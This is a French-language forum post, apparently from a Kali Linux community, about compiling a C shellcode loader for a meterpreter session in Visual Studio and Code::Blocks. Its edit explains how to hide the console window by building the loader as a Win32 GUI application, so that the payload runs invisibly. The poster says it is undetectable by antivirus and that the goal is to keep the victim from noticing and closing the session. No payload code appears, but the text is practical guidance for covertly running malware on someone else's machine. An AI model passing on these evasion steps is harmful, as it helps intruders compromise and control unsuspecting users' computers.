Visual studio créera un fichier .cpp portant le nom du projet.Dans l'arborescence des fichiers,il faut supprimer ce fichier .cpp,puis Clic droit> ajouter un fichier.Ensuite,il faut sélectionner un fichier C++,et dans le nom du fichier,il faut ajouter .c
Visual studio créera donc un fichier .c dans le projet.Normalement, le fait que ce soit un fichier .c oblige visual studio à utiliser son compilateur C au lieu de C++/C#,mais il est possible de forcer ça en faisant clic droit sur le fichier .c >Properties>C/C++>Advanced>Compile As : et sélectionner "Compile as C code (/TC)",puis appliquer.

Avec cette méthode,visual studio ne bronche plus lors de la compilation,comme ça m'était arrivé avant...Il compile le .exe sans erreur ni message d'avertissement.Cependant,lorsque je lance le fichier,j'ai un magnifique "machin.exe has stopped working..." Et c'est reparti pour un tour... ;D
Voici ce que me donne le debug de visual studio :


le programme essaierait donc d'accéder a une zone mémoire protégée... ?! il ne devrait essayer d'accéder qu'a ce qu'il a alloué...
Je continue a chercher,mais toute idée est la bienvenue !
A plus,kali-linuxiens français !

EDIT:Comme le savent ceux qui ont déjà profité des codes de notre ami WK,le programme,lorsque ouvert,affiche une fenêtre cmd aussi longtemps que la session meterpreter est active...Alors oui c'est FUD pour l'antivirus,mais pas pour l'utilisateur,qui n'a qu'a fermer cette fenêtre pour compromettre nos plans diaboliques   ;D
WK m'avait conseillé de rajouter quelques lignes pour masquer la console (j'ai pas réussi) ou en dernier recours,d'utiliser la fonction migrate de meterpreter (couplée à AutoRunScript pour automatiser tout ça).Seulement cette fonction est trop lente à se mettre en oeuvre,l'utilisateur pourrait se douter de quelque chose...
J'ai donc cherché,et j'ai trouvé comment rendre la console invisible : en n'utilisant pas la console  ;)
Je m'explique : (les explications sont pour codeblocks,elles devraient être similaires quoiqu'un peu différentes pour Visual Studio ou autre IDE)
Créer un nouveau projet "Win32 GUI project":

Le nouveau projet sera donc vide,il faut créer un nouveau fichier C,et y mettre le code souhaité
Ensuite,dans Project>Properties>Build targets, sélectionner GUI application  pour "Type":

ne pas oublier de cocher le nom de votre fichier C dans "build target files" en bas de la fenêtre.
Voila,plus qu'a compiler,et le tour est joué,lorsque vous lancez le programme,il exécutera le shellcode (ou quoi que ce soit que vous ayez mis dedans)de manière parfaitement invisible !
« Modifié: 07 février 2017 à 11:47:37 par EinderJam »